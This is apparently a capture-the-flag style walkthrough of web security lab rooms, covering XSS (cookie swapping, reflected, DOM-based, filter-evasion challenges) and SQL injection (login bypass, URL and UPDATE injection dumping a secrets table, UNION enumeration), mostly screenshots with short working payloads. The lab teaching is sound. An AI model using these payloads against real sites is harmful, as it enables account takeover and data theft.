![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdMHwPvIOIV48qGpEx%2F-MfdNL84yzRW-eT7Td0q%2Fimage.png?alt=media\&token=d28f57ce-8bff-49ca-ad40-23f3eb9ee2a8)

Now lets go to the log page

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdMHwPvIOIV48qGpEx%2F-MfdNXWjoZS_buvdE1vY%2Fimage.png?alt=media\&token=ce5f71b0-233b-4e04-8da9-e2003cfad5ba)

We have the cookie

Lets change users to Jack and post a comment

First lets go to the developer tools and change the cookie to Jacks.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdMHwPvIOIV48qGpEx%2F-MfdNzhYh2Ep2K-u8Z1Q%2Fimage.png?alt=media\&token=769b4937-282b-4020-af39-1140ccb7d137)

Now lets reload the page

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdMHwPvIOIV48qGpEx%2F-MfdO4dln7BRpLVAQtuG%2Fimage.png?alt=media\&token=140da22b-25f9-4ea9-8cff-10f64cbec572)

We are now the user Jack, lets post a comment

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdMHwPvIOIV48qGpEx%2F-MfdOA0IMcLQK0H_Ge6b%2Fimage.png?alt=media\&token=1843e73e-605b-441b-867a-60e62daef9f5)

## Reflected XSS

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdMHwPvIOIV48qGpEx%2F-MfdOjpz-fIhFBHSKxw6%2Fimage.png?alt=media\&token=58bcf0f3-39d5-49d2-9fed-ddea831ebc31)

Lets craft a reflected XSS payload that will cause a popup saying "hello"

```
<script>alert("hello")</script>
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdMHwPvIOIV48qGpEx%2F-MfdPHPt1BTxSdtnjv8J%2Fimage.png?alt=media\&token=e99fadd3-1799-43be-ad6c-29f58831948b)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdMHwPvIOIV48qGpEx%2F-MfdPJEbzuN6-2GF7zom%2Fimage.png?alt=media\&token=bc0dfc01-06d2-4ca1-8cdd-2b4a05304471)

For getting the IP address of the machine we can use this payload

```
<script>alert(window.location.hostname)</script>
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdMHwPvIOIV48qGpEx%2F-MfdPcJGqmd-WAob-do8%2Fimage.png?alt=media\&token=4729156f-b52a-430a-ba37-63ec80bcb7ac)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdMHwPvIOIV48qGpEx%2F-MfdPhBSbA67MM75SoPK%2Fimage.png?alt=media\&token=a67eee5d-f8f2-4a80-bcae-1943cc6ab7eb)

## DOM-Based XSS

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdPzUMzowluFbGcGPO%2Fimage.png?alt=media\&token=73e6ffd7-f75c-4a7e-88e8-56f6c504e58a)

Lets go to the DOM-Based XSS page and look at the source code

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdQFs2PHy2VsAk0E_G%2Fimage.png?alt=media\&token=39ccb91b-08e9-46c0-ac0d-4c709576f34f)

This is interesting, looks like there are no checks on the input we give

Now lets exploit it and get the cookie.

```
test" onmouseover="aletest" onmouseover="alert('document.cookies')"rt(document.cookie)"
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdRABpmOdNxI9Cq3as%2Fimage.png?alt=media\&token=691d6fe8-fc62-4db4-bd16-8c42bd0764c9)

Now hover over the Image not found text

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdRHB6gauNCi2Y46NZ%2Fimage.png?alt=media\&token=3ae15fa4-07a3-4605-ba27-829dbf536fe1)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdRJqRQsDoXS93S_NM%2Fimage.png?alt=media\&token=bcbb8bc9-cdf2-455a-a3a8-270f52ac4255)

Next lets create an `onhover` event on an image tag, that change the background color of the website to red.

```
test" onmouseover="document.body.style.backgroundColor='red'"
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdRdhV5bFwa7hhPv6j%2Fimage.png?alt=media\&token=8d881fa4-e5f2-4924-b1a8-e3d59a475629)

Make sure to hover over the Image not found text

## Using XSS for IP and Port Scanning

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdS1-LsR-AV7cb3Qm5%2Fimage.png?alt=media\&token=18fb2081-86a4-46ae-80a9-b9b09d0979aa)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdS3J5J6uoZdk2hvbX%2Fimage.png?alt=media\&token=72999de2-b7d9-49fc-8a8b-14348c5d7cba)

## XSS Keylogger

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdSA7jwBkhcdLDw4xZ%2Fimage.png?alt=media\&token=a81b2b67-dd94-4d77-8ec8-4ad33db01673)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdSCT5HcvpcIhg4njv%2Fimage.png?alt=media\&token=2a7b1dc3-723a-4a2d-bb5f-b9fb2ca7760a)

## Filter Evasion

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdSKV4NnbSBYumlKLx%2Fimage.png?alt=media\&token=9152c67a-156a-4c78-b831-e0617b9d3cb6)

Lets do the first challenge

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdSlZw6QNRe8VNTgHZ%2Fimage.png?alt=media\&token=0efc5d53-b0ef-4086-a3a8-04c76e253f77)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdSnLTD53JAb1Kp3_I%2Fimage.png?alt=media\&token=7d703ee7-3459-450e-9c65-35ea69cf87ab)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdSpY_p81hy36D61BQ%2Fimage.png?alt=media\&token=403ea1a5-8206-4c6a-a2ff-24650ca95456)

Lets do challenge 2

```
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdTHgfd53VfKEGPkHN%2Fimage.png?alt=media\&token=ba6b5494-7284-4e90-b641-eb5fafd7c236)

Lets do challenge 3

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdTVSW1UVigVybmQCo%2Fimage.png?alt=media\&token=b4c4a6ae-63be-4617-99d9-30342356e2a1)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdTZaM_Ujne3D2tOwl%2Fimage.png?alt=media\&token=430265c0-54bb-4290-abe6-e1783006daed)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdTb0hYz9dF-KAJQcD%2Fimage.png?alt=media\&token=08703059-6d41-469c-93aa-34ad07fc1f0a)

Challenge 4

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdThA_CHNHUPEtmx_7%2Fimage.png?alt=media\&token=3bd854e8-64b8-445c-a401-2ee750e5daf7)

```
<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert('Hello')"></xss>
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdTy9nRw2eupmKjpmu%2Fimage.png?alt=media\&token=525c222b-074c-40d8-a254-912ae3baaad6)

## Protection Methods and Other Exploits

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MfdPn0iga_ZnizzjW8o%2F-MfdU8q42ZTWDiFczS8T%2Fimage.png?alt=media\&token=b2f721ef-44ed-41a5-886c-41544cd16192)


# SQL Injection Lab

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0DkFFJ-XKrrAgxGQC%2F-Mf0DpoDM9vsEz_VY2pS%2Fimage.png?alt=media\&token=e5b76630-921e-4bde-a5cc-4eb9de2b6cc0)

## Introduction

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0F5XHRp1GXmWp8Qz0%2Fimage.png?alt=media\&token=e9f6f0ac-fbd7-4807-b790-3e97f7b29826)

## Introduction to SQL Injection: Part 1

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0GiXVKUW0-23oorDI%2Fimage.png?alt=media\&token=977fa30b-6c8e-4309-9f26-95e89b4b6cea)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0GulE7Rytg3Tfk3Jd%2Fimage.png?alt=media\&token=5684fce0-0d5b-49af-896b-96d2fb2de20b)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0HCJAw8k8A2kGCYu7%2Fimage.png?alt=media\&token=f7c27d4a-4688-4494-9cef-8b11948cc0df)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0HLuIE26zcTpSGNFM%2Fimage.png?alt=media\&token=83391f4a-e9a9-4106-a969-f9ca5d85e713)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0H_A8LtVn5-JLnPeN%2Fimage.png?alt=media\&token=bb15c7d0-9bff-477e-a1bf-7e635c7fe772)

Lets check the webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0HsjojpVmp9bw_6fv%2Fimage.png?alt=media\&token=63cc9bdf-4b37-471d-8d99-ff3cc21ddd44)

### Challenge 1

Lets click on the first challenge

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0Hxo28VLTDfS9tWtM%2Fimage.png?alt=media\&token=257635bb-7b94-4ac3-80d7-2566290902bb)

Lets use `1 or 1=1--` as the ProfileID and pass as the Password

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0IExSfTj3aDjD-Oi4%2Fimage.png?alt=media\&token=f2049a40-b3ab-448f-ba1a-f097c0dd2e9c)

Lets hit login

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0IL81FTztgqQShq0J%2Fimage.png?alt=media\&token=b61964ca-0188-40b4-bfe0-b3a968f986ed)

We have the flag, lets go to the second challenge

### Challenge 2

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0IYkMByz7EBmojR6m%2Fimage.png?alt=media\&token=f69d8282-05d5-4252-8dc0-7ff570736b50)

This form only accepts strings, so lets use strings `1' or '1'='1'-- -` in the username and pass in the password.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0IrCrmXim3Aefigmx%2Fimage.png?alt=media\&token=ae57ec3b-a29e-4aef-b4f7-62763df62b26)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0J-fcoRycS577EA2B%2Fimage.png?alt=media\&token=ce2895db-45bb-43d2-a1ac-b641a372c8d2)

We have the flag, lets go to the next challenge

### Challenge 3

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0JEantlkYkGgxXqJ3%2Fimage.png?alt=media\&token=10dfcd2c-ea24-4002-ac2e-85404ec35f35)

The login form is being checked, so exploit the URL and we can do that by going to this URL (add it in the end of the current URL)

```
login?profileID=-1' or 1=1-- -&password=a
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0JmyURuSCWHp8ERHs%2Fimage.png?alt=media\&token=7a30d5aa-12f8-4266-88d4-858cc1d4216e)

Now lets go to this URL

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0JtRXMd9YAkNLm-d6%2Fimage.png?alt=media\&token=b0589489-0d9f-458d-8e55-1c3bbb525e99)

We have the flag, lets go to the next challenge

### Challenge 4

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0K2oFdk75JwT-vUGA%2Fimage.png?alt=media\&token=023e8b62-ab43-45c2-973a-112db7c4d1d4)

Lets use burp to capture the login request with random credentials

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0KN6hvC9OGiXqI1Oq%2Fimage.png?alt=media\&token=83946f4d-e7b2-4add-8f5d-5f0fc5070ce1)

Now lets change the `profileID` parameter.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0K_G_ZGGLtqGSMPPB%2Fimage.png?alt=media\&token=217abfec-1e64-41e0-8966-3f01f99aafbe)

Now lets forward the request

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf0E9pTCO54yQoJ-3qn%2F-Mf0Kg3dSt40VkaaWCZt%2Fimage.png?alt=media\&token=87c2090f-ea47-4eb3-8987-baf1ca05fdb0)

We have the flag.

## Introduction to SQL Injection: Part 2

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf5ZvlWorWszxXSamfG%2F-Mf5_BKKRFHKuCVI-lWF%2Fimage.png?alt=media\&token=89513d1e-af62-43e7-a824-bb45251b8bef)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf5ZvlWorWszxXSamfG%2F-Mf5_RDu4iwuHpN3Uucm%2Fimage.png?alt=media\&token=31cc3918-43ac-49d2-83c6-acb428995fd4)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf5ZvlWorWszxXSamfG%2F-Mf5_Y4K8KFgIbOBHyr5%2Fimage.png?alt=media\&token=7ab60fa6-5586-4dd5-919f-23cd0b82f377)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf5ZvlWorWszxXSamfG%2F-Mf5_brgnmWM4olCZBB0%2Fimage.png?alt=media\&token=af9fab1a-5726-4ca9-b2c5-f9717de409c6)

Lets check the webpage

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf5ZvlWorWszxXSamfG%2F-Mf5_kRZfsUg0JDPrwqm%2Fimage.png?alt=media\&token=05309e06-f59b-4b23-804b-b8b9d0931690)

Lets login with the given credentials

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf5ZvlWorWszxXSamfG%2F-Mf5aZQslSgj2_OMbzLx%2Fimage.png?alt=media\&token=2fa06cc0-413e-4b5d-bcae-d0b9bfbf9552)

Lets go to the Edit Profile page

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf5ZvlWorWszxXSamfG%2F-Mf5aeoLMBtYKK0_AZVD%2Fimage.png?alt=media\&token=bf49e797-0ab3-44ec-b0e3-62e8de9a90d7)

Lets use this sql query to exploit this form

```
',nickName=(SELECT group_concat(id || "," || author|| "," || secret|| ":") from secrets),email='
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf5ZvlWorWszxXSamfG%2F-Mf5bP8KWpQAVWSXqZ9e%2Fimage.png?alt=media\&token=48ca6663-fe54-4c1f-ab9b-c830331769fd)

Lets click Change

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mf5ZvlWorWszxXSamfG%2F-Mf5bV4pwa_ddbF7CgeF%2Fimage.png?alt=media\&token=748dc961-40a9-4916-a978-26513b781e11)

We have the flag


# SQL Injection

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-MezzyzWt33hs795sId5%2Fimage.png?alt=media\&token=7178003f-fb13-4b9c-8c43-070be5b85943)

## Introduction

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf--9pqiVnDQ32iVA4p%2Fimage.png?alt=media\&token=1f7967b6-c777-404f-a2ed-36bc0f41e10f)

## Basics of SQL Language

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf--Xz9Ido_cLoCecDo%2Fimage.png?alt=media\&token=3b9cc4c3-c8b8-4189-ae2f-6defa28c074b)

## What is SQLi

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-0LuE9hpqHaXRG801%2Fimage.png?alt=media\&token=56eaa716-746e-475a-97c9-3dd3cecc9e73)

## How to detect SQLi

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-16VYS-HSowgqtF35%2Fimage.png?alt=media\&token=c24e2e16-fe6b-41f2-ad4c-3466729af5cb)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-1MsLEPhk5-1VHJnV%2Fimage.png?alt=media\&token=e2ae9de3-27f7-4256-bf54-1e6060b39dca)

## Error Based SQLi

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-27xIy8LUdUeM-_0G%2Fimage.png?alt=media\&token=e1c244c5-24fe-40ec-884a-ff55e1d963d2)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-2TMkWh26lKhn-Ev6%2Fimage.png?alt=media\&token=9d6040b3-5f02-4df8-88e1-63f05ca9d543)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-2bs76qH9O0fgcqv2%2Fimage.png?alt=media\&token=6ffc41a9-6146-479c-858e-f5a1ddac8d66)

## Boolean Based SQLi

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-3WWuDB0mZDneuO3L%2Fimage.png?alt=media\&token=cdffe913-9e30-4b5d-bfd3-6b818f462d92)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-45UaIRJiUi01tuEB%2Fimage.png?alt=media\&token=c0fa36f6-65a7-4665-90bf-98e6062a34b7)

## UNION Based SQLi

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-4XDI2qDk7IyLZO02%2Fimage.png?alt=media\&token=b9aa86a7-a54d-45f5-a703-bb1c08401d95)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-4nPbEEr7pC0eXhlr%2Fimage.png?alt=media\&token=fa1c3316-c2f3-4f3b-be80-a4e94589f28f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-5DX67MCdHfgeZXbJ%2Fimage.png?alt=media\&token=e03351f0-35cb-4bf5-b622-ef431274c8dc)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-5ZMC0jBPufRuMc4F%2Fimage.png?alt=media\&token=bd3db95c-6c94-4b90-9343-243a8eb055be)

After testing different number of columns, we can find the right number of columns in the database with this search query

```
' UNION SELECT NULL,NULL,NULL,NULL,NULL -- //
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-6IT6lZXVwR6hnr6n%2Fimage.png?alt=media\&token=b76f1625-5c93-4394-9eeb-bc7157f171d6)

We can also see that all of the columns can take a string input with this query

```
' UNION SELECT 'a','a','a','a','a' -- //
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-6eITXLRWXF6W4tJe%2Fimage.png?alt=media\&token=d70aaee9-3992-4078-a83a-80563bae1d2b)

We can see the name of the database with this query

```
' UNION SELECT 'a',database(),'a','a','a' -- //
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-6vTZC84V_JKYwFhi%2Fimage.png?alt=media\&token=8880271d-9dc2-42fb-b7bf-2f3af7f22d4f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-6zsha--1vec_-HhN%2Fimage.png?alt=media\&token=00b32503-a49b-451a-99f9-dee22e305254)

## Automating Exploitation

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-7QIBzLrJOhtVIbL1%2Fimage.png?alt=media\&token=8d945a3f-2ecb-42e7-90bf-023a6e7b33e6)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-7TgdECRCpcQhiKfy%2Fimage.png?alt=media\&token=1dac7a94-e454-4eca-8274-a652d2089c79)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-7g-LHdj_4lIx5kXv%2Fimage.png?alt=media\&token=0f2e9ee1-58b5-4297-80d4-925fe9cdbcac)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-7sNTAcCmWyHLEoBF%2Fimage.png?alt=media\&token=59ba17a7-640c-454d-8afe-9cd3cfc87946)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MezzsaE_pDusM1uTCD7%2F-Mf-9DrfQZ6LO2qpTxtX%2Fimage.png?alt=media\&token=6f415924-2292-4a8e-a84e-155186b38f42)


# ZTH: Web 2

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeljBj4RNklyDS1tl2_%2F-MeljExudDWcg9n-WSTX%2Fimage.png?alt=media\&token=da71b173-c6ec-4321-82a4-c1697a3aaa18)

## Introduction

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeljBj4RNklyDS1tl2_%2F-MeljQpQbFx4_nnwUuD7%2Fimage.png?alt=media\&token=716567f5-729a-45d8-95a5-dc23af6ec317)

## Section 1: IDOR

### Introduction

